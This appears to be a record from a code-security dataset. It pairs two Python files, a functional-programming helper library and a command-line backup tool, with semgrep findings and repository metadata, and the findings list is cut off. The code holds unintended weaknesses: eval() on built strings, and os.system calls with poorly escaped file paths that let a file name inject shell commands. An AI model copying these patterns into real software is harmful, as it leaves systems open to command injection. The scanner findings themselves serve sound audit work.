from collections import defaultdict, deque
from itertools import tee
import pandas as pd
import numpy as np
import numba as nb
from copy import deepcopy
from functools import reduce
class op:
@staticmethod
def mul(a, b): return a * b
def sub(a, b): return a - b
def add(a, b): return a + b
def div(a, b): return a / b
def mod(a, b): return a % b
def anno(a, b): return a@b
def e_method(method, a, b): return eval(f"a.{method}(b)")
def e_func(func, a, b): return eval(f"{func}(a,b)")
class block:
pass
class globals_manager:
def __new__(self, global_vars=None):
try:
return self.globals_
except AttributeError:
self.globals_ = global_vars
def lisp(*targs, **kwargs):
argNums = len(targs)
if not argNums:
return None
elif argNums is 1:
value, = targs
return value
else:
f, *ttargs = targs
ttargs = map(lambda x: lisp(x), ttargs)
kw = dict(map(lambda x: (x, lisp(kwargs[x])), kwargs))
return f(*ttargs, **kw)
class richIterator:
def __init__(self, *args, **kwargs):
super(richIterator, self).__init__(*args, **kwargs)
self.recovery_vars = {}
def filter(self, f):
return richGenerator((each for each in self if f(each)))
def recovery(self):
globals_vars = globals_manager(None)
if self.recovery_vars:
recovery_vars = self.recovery_vars
for key in recovery_vars:
globals_vars[key] = recovery_vars[key]
def __matmul__(self, f):
return f(self)
def groupBy(self, f, containerType=list):
if containerType is list:
res: Dict[Any, eval("self.__class__")] = defaultdict(
eval("self.__class__"))
for each in self:
res[f(each)].append(each)
elif containerType is set:
res: Dict = dict()
for each in self:
key = f(each)
if key not in res:
res[key] = each
else:
return TypeError(f"method .groupBy for containerType '{containerType}'\
is not defined yet,\
you can define it by yourself.")
return richDict(res)
def let(self, **kwargs):
globals_vars = globals_manager(None)
if 'this' not in kwargs:
kwargs['this'] = self
for key in kwargs:
if key in globals_vars:
value = globals_vars[key]
self.recovery_vars[key] = value if value != "this" else self
value = kwargs[key]
globals_vars[key] = value if value != "this" else self
return self
def then(self, *args, **kwargs):
ret = lisp(*args, **kwargs)
self.recovery()
return ret
def map(self, f, *args, **kwargs):
args = (self,) + args
return richIterator.thenMap(f, *args, **kwargs)
def mapIndexed(self, f: "function<Int,T>", *args, **kwargs):
args = (range(len(self)), self) + args
return richIterator.thenMap(f, *args, *kwargs)
def connectedWith(self,cases:tuple):
def test(item):
for case_judge, case_action in cases:
if case_action(item):
return case_action(item)
return None
return richGenerator(map(test, self))
def tolist(self):
return [each for each in self]
def totuple(self):
return tuple(each for each in self)
def toset(self):
return set(self)
def todict(self):
return dict(zip(self))
def zip(self, iterator):
return zip(self, iterator)
def togen(self):
return richGenerator(self)
@staticmethod
def thenMap(f, *args, **kwargs):
if kwargs:
kwargsKeys = kwargs.keys()
kwargsValues = zip(* kwargs.values())
args = zip(*args)
if kwargs:
return richGenerator(f(*arg, **dict(zip(kwargsKeys, kwargsValue))) for arg, kwargsValue in zip(args, kwargsValues))
else:
return richGenerator(f(*arg) for arg in args)
class generator:
def __init__(self, iterable):
self.obj = iterable
def __iter__(self):
for each in self.obj:
yield each
def togen(self):
return self.obj
class richGenerator(richIterator, generator):
pass
class richDict(richIterator, dict):
pass
| 176 | 24.82 | 127 | 19 | 1,075 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_ab989d7f8edafb13_5e4e872b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 40, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 30, "col": 40, "offset": 488}, "end": {"line": 30, "col": 62, "offset": 510}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_ab989d7f8edafb13_1ab10e57", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 33, "line_end": 33, "column_start": 36, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 33, "col": 36, "offset": 548}, "end": {"line": 33, "col": 56, "offset": 568}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.baseclass-attribute-override_ab989d7f8edafb13_d09cadcf", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.baseclass-attribute-override", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Class richGenerator inherits from both `richIterator` and `generator` which both have a method named `$F`; one of these methods will be overwritten.", "remediation": "", "location": {"file_path": "unknown", "line_start": 172, "line_end": 172, "column_start": 7, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/classes.html#multiple-inheritance", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.baseclass-attribute-override", "path": "/tmp/tmpb8jm_z1l/ab989d7f8edafb13.py", "start": {"line": 172, "col": 7, "offset": 4450}, "end": {"line": 172, "col": 20, "offset": 4463}, "extra": {"message": "Class richGenerator inherits from both `richIterator` and `generator` which both have a method named `$F`; one of these methods will be overwritten.", "metadata": {"category": "correctness", "references": ["https://docs.python.org/3/tutorial/classes.html#multiple-inheritance"], "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-95",
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
30,
33
] | [
30,
33
] | [
40,
36
] | [
62,
56
] | [
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.",
"Detected the use of eval(). eval() can be dangerous if used... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | collections.py | /freestyle/collections.py | thautwarm/Stardust | Apache-2.0 | |
2024-11-18T18:05:56.044170+00:00 | 1,486,668,271,000 | 503503ca77386d7ad226326d25fcb3c96f7f2b8e | 3 | {
"blob_id": "503503ca77386d7ad226326d25fcb3c96f7f2b8e",
"branch_name": "refs/heads/master",
"committer_date": 1486668271000,
"content_id": "8048eed32403f9de7e81c67432f8bff406690966",
"detected_licenses": [
"MIT"
],
"directory_id": "d728338358b7acc7a40c4717417a81bfd0088e5c",
"extension": "py",
"filename": "btsoot.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13445,
"license": "MIT",
"license_type": "permissive",
"path": "/btsoot.py",
"provenance": "stack-edu-0054.json.gz:568884",
"repo_name": "bbartsch/btsoot",
"revision_date": 1486668271000,
"revision_id": "f674f1e09af6655e3107a732cfbaa647beabed4d",
"snapshot_id": "c5ac989226e2a7e291e8f70c50db721e9edd3041",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/bbartsch/btsoot/f674f1e09af6655e3107a732cfbaa647beabed4d/btsoot.py",
"visit_date": "2022-06-02T07:23:39.894812"
} | 2.625 | stackv2 | #!/usr/bin/env python3.6
#CONFIGURATION################################################
#STORAGE CONFIG
configpath = ""
scanstorage = ""
#SAFETY GUARD CONFIG
safetyguard = True
#Input min value in percent for cloning file override safety guard.
#Backup will be aborted if change counter passes this value.
minwarningvalue = 75
#COPY CONFIG
copypath = ""
##############################################################
#DO NOT EDIT BELOW HERE!
import os, sys, time, shutil, zlib
#STARTUP CODE
if configpath == "":
configpath = "/etc/btsoot/btsoot.conf"
if scanstorage == "":
scanstorage = "/etc/btsoot/scans/"
if copypath == "":
copypath = "/usr/local/bin/btsoot-copy"
if os.path.exists("/etc/btsoot") == True:
pass
else:
try:
os.makedirs("/etc/btsoot/scans")
except PermissionError:
print("BTSOOT needs root permissions")
sys.exit()
class color:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
#DEBUG FUNCTION AND SETVAR
debug = False
if "--debug" in sys.argv:
debug = True
def dprint(message):
if debug == True:
print(f"DEBUG: {message}")
def shouldcontinue(quit = True):
if input("Should i continue? (yes/No)") == "yes":
return 0
else:
if quit == True:
sys.exit()
else:
return 1
def crc(filepath):
previous = 0
try:
for line in open(filepath,"rb"):
previous = zlib.crc32(line, previous)
except OSError:
print("CRC ERROR: OSERROR")
return "%X"%(previous & 0xFFFFFFFF)
usage = f"""USAGE: {sys.argv[0]} <commands>
add <name> <path> <server/local>\tadd block
rm <name>\t\t\t\tremove added block
scan <name>\t\t\t\tscan added block
backup <name>\t\t\t\tbackup scanned block
update_dependencies\t\t\tupdate the needed libraries
"""
def split(string, splitters): #MAY RESOLVE ALL PROBLEMS WITH CSV
final = [string]
for x in splitters:
for i,s in enumerate(final):
if x in s and x != s:
left, right = s.split(x, 1)
final[i] = left
final.insert(i + 1, x)
final.insert(i + 2, right)
return final
def scandirectory(walk_dir, scanfile, verbose = False):
try:
current_scan = []
for root, subdirs, files in os.walk(walk_dir):
current_scan.extend([f"{root}\n"])
for filename in files:
file_path = os.path.join(root, filename)
checksum = crc(file_path)
current_scan.extend([f"{file_path},{checksum}\n"])
with open(scanfile, "w") as current_scan_file:
current_scan_file.writelines(current_scan)
except FileNotFoundError:
if verbose == True:
print(color.FAIL + "SCAN ERROR: FILE NOT FOUND" + color.ENDC)
def main():
try:
if sys.argv[1] == "add":
name = sys.argv[2]
path = sys.argv[3]
server = sys.argv[4]
with open(configpath, "a") as conf:
conf.write(f"{name},{path},{server}\n")
elif sys.argv[1] == "rm":
name = sys.argv[2]
try:
lines = []
with open(configpath, "r") as conf:
lines = conf.readlines()
with open(configpath, "w") as conf:
for line in lines:
split_line = split(line, ",")
if split_line[0] != name:
conf.write(line)
except FileNotFoundError:
print(color.FAIL + "Configfile not found." + color.ENDC)
print("Create one with 'add'.")
elif sys.argv[1] == "list":
try:
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
print(f"BLOCKNAME: {split_line[0]}")
print(f"\tSRC: {split_line[2]}")
print(f"\tDEST: {split_line[4].rsplit()}")
except FileNotFoundError:
print(color.FAIL + "Configfile not found." + color.ENDC)
print("Create one with 'add'.")
elif sys.argv[1] == "backup":
#REMOVE ENTREE FROM BTSOOT CONFIG
searched_path = None
name = sys.argv[2]
scanfilename = "{}_{}.btsscan".format(int(time.time()), name)
try:
path = ""
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
path = split_line[2].rstrip()
print(color.OKBLUE + f"Executing scan for block {sys.argv[2]}" + color.ENDC)
except FileNotFoundError:
print(color.FAIL + "Configfile not found." + color.ENDC)
print("Create one with 'add'.")
#SCAN
scandirectory(path, f"{scanstorage}{scanfilename}", False)
#LIST FILES TO FIND SCANFILES
#SORT OUT ANY UNINTERESTING FILES
scanfilelist = []
#LIST DIRS
dirs = os.listdir(scanstorage)
number_of_files = 0
#SEARCH FOR SCANFILES
for singlefile in dirs:
blockname = split(singlefile, ["_", "."])
try:
if blockname[4] == "btsscan" and blockname[2] == sys.argv[2]:
number_of_files = number_of_files + 1
scanfilelist.append(singlefile)
except IndexError:
pass
#LIST CONFIG ENTREES
serverlocation = ""
sourcelocation = ""
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
if split_line[0] == sys.argv[2]:
sourcelocation = split_line[2]
serverlocation = split_line[4].rstrip() #Last entree has nline
else:
print(color.FAIL + f"No block {sys.argv[2]} found." + color.ENDC)
if number_of_files == 1:
print("One scan found. Complete backup of ALL data will be created.")
print(color.OKBLUE + "Executing datatransfer." + color.ENDC)
with open(f"{scanstorage}{scanfilename}", "r") as scan:
lines = scan.readlines()
for line in lines:
path = split(line, ",")
if len(path) == 1:
os.makedirs(f"{serverlocation}{line.rstrip()}", exist_ok=True)
elif len(path) == 3:
path = path[0]
path = path.replace(" ", "\ ")
path = path.replace("(", "\(")
path = path.replace(")", "\)")
status = os.system(f"{copypath} {path} {serverlocation}{path}")
exit_status = os.WEXITSTATUS(status)
if exit_status != 0:
print(color.FAIL + f"COPY ERROR: {exit_status}" + color.ENDC)
else:
print(color.FAIL + "Corrupt: " + line + color.ENDC)
sys.exit()
print("Sufficient number of scan files were found.")
splitted_timestamp = []
#FIND LATEST TWO FILES
#SPLIT EVERY FILE NAME TO GAIN TIMESTAMP
for scanfile in scanfilelist:
temp = split(scanfile, "_")
splitted_timestamp.append(int(temp[0]))
#GETS LATEST SCANFILE'S TIMESTAMP
latest_timestamp = max(splitted_timestamp)
#SETS MAX VALUE TO -1 TO FIND SECOND HIGHEST VALUE
listcounter = 0
for timestamp in splitted_timestamp:
if timestamp == latest_timestamp:
splitted_timestamp[listcounter] = -1
listcounter = listcounter + 1
#GET PREVIOUS FILE'S TIMESTAMP
previous_timestamp = max(splitted_timestamp)
dircounter = 0
latest_scan_array_index = -1
previous_scan_array_index = -1
for singlefile in scanfilelist:
temp = split(singlefile, "_")
if int(temp[0]) == latest_timestamp:
latest_scan_array_index = dircounter
elif int(temp[0]) == previous_timestamp:
previous_scan_array_index = dircounter
dircounter = dircounter + 1
print("Latest scan: " + scanfilelist[latest_scan_array_index])
print("Previous scan: " + scanfilelist[previous_scan_array_index] + "\n")
#COMPARE THE TWO FILES AGAINST EACH OTHER
latest_scan_fd = open(f"{scanstorage}{scanfilelist[latest_scan_array_index]}", "r")
previous_scan_fd = open(f"{scanstorage}{scanfilelist[previous_scan_array_index]}", "r")
transmit_list = []
latest_scan = latest_scan_fd.readlines()
previous_scan = previous_scan_fd.readlines()
file_same = 0
file_new = 0
file_total_old = 0
file_total_latest = 0
file_deleted = 0 #DELETED LINES COUNTER
#REMOVE DELETED OR CHANGED FILES
for oldline in previous_scan:
if oldline not in latest_scan:
checkifdir = split(oldline, ",")
if len(checkifdir) == 1:
#IF DIRECTORY, HASH WILL BE "directory".
#THAT IS NEEDED DURING DIRECTORY REMOVAL
transmit_list.extend([f"{oldline.rstrip()},directory,-\n"])
print(color.FAIL + f"- {oldline}" + color.ENDC, end='')
else:
transmit_list.extend([f"{oldline.rstrip()},-\n"])
print(color.FAIL + f"- {oldline}" + color.ENDC, end='')
file_deleted = file_deleted + 1
file_total_old = file_total_old + 1
#FIND OUT CHANGED OR NEW FILES
for line in latest_scan:
if line in previous_scan:
file_same = file_same + 1
else:
checkifdir = split(line, ",")
if len(checkifdir) == 1:
#IF DIRECTORY, HASH WILL BE "directory".
#THAT IS NEEDED DURING DIRECTORY CREATION
transmit_list.extend([f"{line.rstrip()},directory,+\n"])
else:
transmit_list.extend([f"{line.rstrip()},+\n"])
file_new = file_new + 1
file_total_latest = file_total_latest + 1
#FILE STATS
print(f"\nUnchanged files: {file_same}")
print(f"New/Changed files: {file_new}")
print(f"Deleted files: {file_deleted}")
print(f"Total files in latest scan: {file_total_latest}")
print(f"Total files in previous scan: {file_total_old}")
#SAFETY GUARD: SEE ISSUE #8
if safetyguard == True:
if file_deleted >= file_total_old / 100 * minwarningvalue:
print(f"SAFETY GUARD: MORE THAN {minwarningvalue}% DELETED")
shouldcontinue()
elif file_total_latest == 0:
print("SAFETY GUARD: NO FILES FOUND.")
shouldcontinue()
else:
pass
#TRANSMITTER
print(color.OKBLUE + "Executing datatransfer." + color.ENDC)
for line in transmit_list:
line = split(line.rstrip(), ",")
if len(line) > 5:
print(color.FAIL + f"Cannot backup file {line}." + color.ENDC)
print("Path would brick BTSOOT.")
else:
if line[4] == "-":
if line[2] == "directory":
try:
shutil.rmtree(f"{serverlocation}{line[0]}")
except FileNotFoundError:
pass
else:
try:
os.remove(f"{serverlocation}{line[0]}")
except FileNotFoundError:
pass
elif line[4] == "+":
if line[2] == "directory":
os.makedirs(f"{serverlocation}{line[0]}", exist_ok=True)
else:
path = line[0]
path = path.replace(" ", "\ ")
path = path.replace("(", "\(")
path = path.replace(")", "\)")
status = os.system(f"{copypath} {path} {serverlocation}{path}")
exit_status = os.WEXITSTATUS(status)
if exit_status != 0:
print(color.FAIL + f"COPY ERROR: {exit_status}"+ color.ENDC)
else:
print(color.WARNING + "TRANSMIT CORRUPTION:" + color.ENDC)
print(color.WARNING + line + color.ENDC)
previous_scan_fd.close()
latest_scan_fd.close()
print(color.OKGREEN + "Done." + color.ENDC)
elif sys.argv[1] == "restore":
print(color.FAIL + "WARNING! This will remove all files from source.")
print("IF NO FILES ARE FOUND INSIDE THE BACKUP FOLDER, EVERYTHING IS LOST.")
print("Abort using CTRL+C within 15 seconds." + color.ENDC)
if not "--override" in sys.argv:
time.sleep(15)
serverlocation = ""
sourcelocation = ""
with open(configpath, "r") as conf:
for line in conf:
split_line = split(line, ",")
if split_line[0] == sys.argv[2]:
sourcelocation = split_line[2]
serverlocation = split_line[4].rstrip()
print(color.OKBLUE + "Deleting source." + color.ENDC)
shutil.rmtree(sourcelocation)
os.makedirs(sourcelocation)
print(color.OKBLUE + "Executing datatransfer." + color.ENDC)
print("This may take a long time.")
#LIST FILES TO FIND SCANFILES
#SORT OUT ANY UNINTERESTING FILES
scanfilelist = []
#LIST DIRS
dirs = os.listdir(scanstorage)
number_of_files = 0
#SEARCH FOR SCANFILES
for singlefile in dirs:
blockname = split(singlefile, ["_", "."])
try:
if blockname[4] == "btsscan" and blockname[2] == sys.argv[2]:
number_of_files = number_of_files + 1
scanfilelist.append(singlefile)
except IndexError:
pass
splitted_timestamp = []
#FIND LATEST TWO FILES
#SPLIT EVERY FILE NAME TO GAIN TIMESTAMP
for scanfile in scanfilelist:
temp = split(scanfile, "_")
splitted_timestamp.append(int(temp[0]))
#GETS LATEST SCANFILE'S TIMESTAMP
latest_timestamp = max(splitted_timestamp)
dircounter = 0
latest_scan_array_index = -1
previous_scan_array_index = -1
for singlefile in scanfilelist:
temp = split(singlefile, "_")
if int(temp[0]) == latest_timestamp:
latest_scan_array_index = dircounter
dircounter = dircounter + 1
print("Latest scan: " + scanfilelist[latest_scan_array_index])
latest_scan_fd = open(f"{scanstorage}{scanfilelist[latest_scan_array_index]}", "r")
for line in latest_scan_fd:
split_line = split(line, ",")
if len(split_line) == 1:
path = split_line[0]
path = path.rstrip()
os.makedirs(path, exist_ok=True)
elif len(split_line) == 3:
path = split_line[0]
path = path.replace(" ", "\ ")
path = path.replace("(", "\(")
path = path.replace(")", "\)")
status = os.system(f"/etc/btsoot/copy {serverlocation}{path} {path}")
exit_status = os.WEXITSTATUS(status)
if exit_status != 0:
print(color.FAIL + f"COPY ERROR: {exit_status}"+ color.ENDC)
else:
pass
latest_scan_fd.close()
print(color.OKGREEN + "Done." + color.ENDC)
else:
print(usage)
except IndexError:
print("INDEX ERROR")
print(usage)
sys.exit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nQuitting.\n")
sys.exit()
| 473 | 27.42 | 90 | 29 | 3,794 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_35ffc569", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 4, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 27, "col": 4, "offset": 506}, "end": {"line": 27, "col": 20, "offset": 522}, "extra": {"message": "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_25df31ec", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If testing for floating point NaN, use `math.isnan(scanstorage)`, or `cmath.isnan(scanstorage)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 4, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 29, "col": 4, "offset": 567}, "end": {"line": 29, "col": 21, "offset": 584}, "extra": {"message": "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If testing for floating point NaN, use `math.isnan(scanstorage)`, or `cmath.isnan(scanstorage)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_86d7eb67", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `copypath == copypath` or `copypath != copypath`. If testing for floating point NaN, use `math.isnan(copypath)`, or `cmath.isnan(copypath)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 4, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 31, "col": 4, "offset": 625}, "end": {"line": 31, "col": 18, "offset": 639}, "extra": {"message": "This expression is always True: `copypath == copypath` or `copypath != copypath`. If testing for floating point NaN, use `math.isnan(copypath)`, or `cmath.isnan(copypath)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_065baeb0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 112, "column_start": 8, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 112, "col": 8, "offset": 2431}, "end": {"line": 112, "col": 27, "offset": 2450}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_f0fe3d57", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 125, "col": 9, "offset": 2759}, "end": {"line": 125, "col": 30, "offset": 2780}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_308eaccd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, 